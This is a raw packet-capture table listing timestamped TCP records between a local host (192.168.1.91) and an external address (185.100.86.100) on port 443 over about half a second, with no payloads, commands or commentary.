Nov 27, 2017 12:34:57.256239891 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.256311893 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.257905006 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.264098883 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.266320944 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.266374111 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.266391039 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.266402006 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.266484022 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.267784119 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.268589973 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.268618107 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.268626928 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.268663883 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.269448042 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.269922972 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.272470951 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.275084019 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.279768944 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.279798985 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.279869080 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.279887915 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.291491032 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.291522980 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.291538000 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.291749954 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.291766882 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.305634022 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.305669069 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.305741072 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.305756092 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.307586908 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.308480978 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.308505058 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.308517933 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.308556080 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.313148022 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.317256927 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.317303896 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.317372084 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.317390919 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.327627897 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.327678919 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.327764988 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.327780008 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.332053900 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.332082987 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.332200050 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.332215071 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.334568977 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.334641933 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.334697008 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.334717989 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.346421957 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.346462965 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.346632004 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.346663952 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.349417925 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.349447966 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.349519968 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.349538088 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.367672920 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.367743969 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.367757082 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.367769003 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.367883921 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.367898941 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.368048906 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.368077040 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.368482113 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.372311115 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.375036955 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.375047922 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.375438929 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.375468969 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.382471085 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.382498980 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.382663012 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.382673025 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.383179903 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.386281013 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.386310101 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.386368990 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.386499882 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.394674063 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.394701004 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.394742966 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.394759893 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.394989967 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.401823997 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.401854038 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.401866913 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.401976109 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.405178070 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.411617994 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.411731005 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.411745071 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.411751986 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.411936998 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.412379980 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.412414074 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.412425041 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.412482977 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.413111925 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.414809942 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.415023088 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.415735960 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.415752888 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.417618036 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.417643070 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.417741060 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.420241117 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.420264006 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.420275927 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.420341015 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.420928955 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.420958042 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.420965910 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.421046972 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.425334930 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.427818060 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.427942038 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.427966118 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.430342913 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.430469990 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.430490017 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.432615042 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.432646990 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.432765007 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.432784081 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.438405991 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.438442945 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.438617945 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.438642979 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.444575071 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.444736004 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.444757938 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.447757006 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.447788954 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.447913885 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.447936058 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.448420048 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.448451042 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.448577881 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.448596001 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.455666065 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.455698013 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.455832958 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.455874920 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.463427067 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.463460922 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.463820934 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.463860989 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.474739075 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.474786043 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.474795103 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.474966049 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.474991083 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.478934050 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.478965998 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.479113102 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.479132891 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.479218960 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.479662895 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.479816914 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.480290890 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.487371922 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.487406015 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.487418890 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.487714052 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.494373083 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.494409084 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.494419098 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.494641066 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.497328997 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.499844074 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.499867916 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.499991894 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.500024080 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.504328966 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.504363060 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.504371881 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.504512072 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.504538059 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.504565001 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.504595995 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.504667044 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.504687071 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.510396004 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.510433912 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.510555983 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.510580063 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.516287088 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.516324997 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.516336918 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.516561985 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.516585112 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.519494057 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.519525051 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.519665003 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.519691944 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.520032883 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.520611048 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.520864964 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.526602030 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.526632071 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.526652098 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.526727915 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.542459965 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.542485952 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.542540073 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.542557001 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.547314882 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.547341108 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.547471046 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.547492981 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.552730083 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.552755117 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.552845955 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.552879095 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.559647083 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.559667110 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.559720039 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.559741020 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.563087940 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.563096046 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.563412905 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.563433886 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.572318077 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.572582006 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.572613955 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.572626114 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.572688103 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.572743893 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.573034048 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.573055983 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.573064089 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.573060989 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.573153019 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.573427916 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.573944092 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.575340986 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.576925039 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.576963902 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.577287912 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.577315092 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.581684113 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.581718922 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.581727028 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.582072020 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.582110882 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.591566086 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.591622114 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.591686010 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.591706991 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.592045069 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.616153955 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.619556904 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.619574070 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.619775057 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.619811058 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.620028019 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.620218992 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.620244026 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.623320103 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.623337984 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.623769999 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.623796940 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.626466990 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.626616955 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.626640081 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.633243084 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.633269072 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.633590937 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.633621931 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.657959938 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.657985926 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.658075094 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.658092976 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.663692951 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.663717985 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.664182901 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.664201975 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.665200949 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.665216923 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.665560007 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.665580034 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.667422056 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.672750950 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.672777891 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.672787905 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.673036098 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.675894022 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.675915956 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.676052094 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.682640076 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.682665110 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.682682037 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.682780027 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.682827950 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.682883024 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.702493906 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.702528954 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.702543974 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.702820063 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.705226898 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.705250978 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.705260038 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.705375910 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.708499908 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.708538055 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.708549976 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.708640099 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.709413052 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.716541052 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.716567993 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.716578007 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.716918945 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.716938019 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.722351074 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.723073006 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.723992109 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.725649118 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.725786924 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.749747038 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.749788046 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.749803066 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.751837015 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.753070116 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.753098011 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.753110886 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.753248930 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.753267050 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.753381014 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.753403902 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.763916016 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.763957024 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.763976097 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.768675089 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.768706083 CET	443	49170	185.100.86.100	192.168.1.91
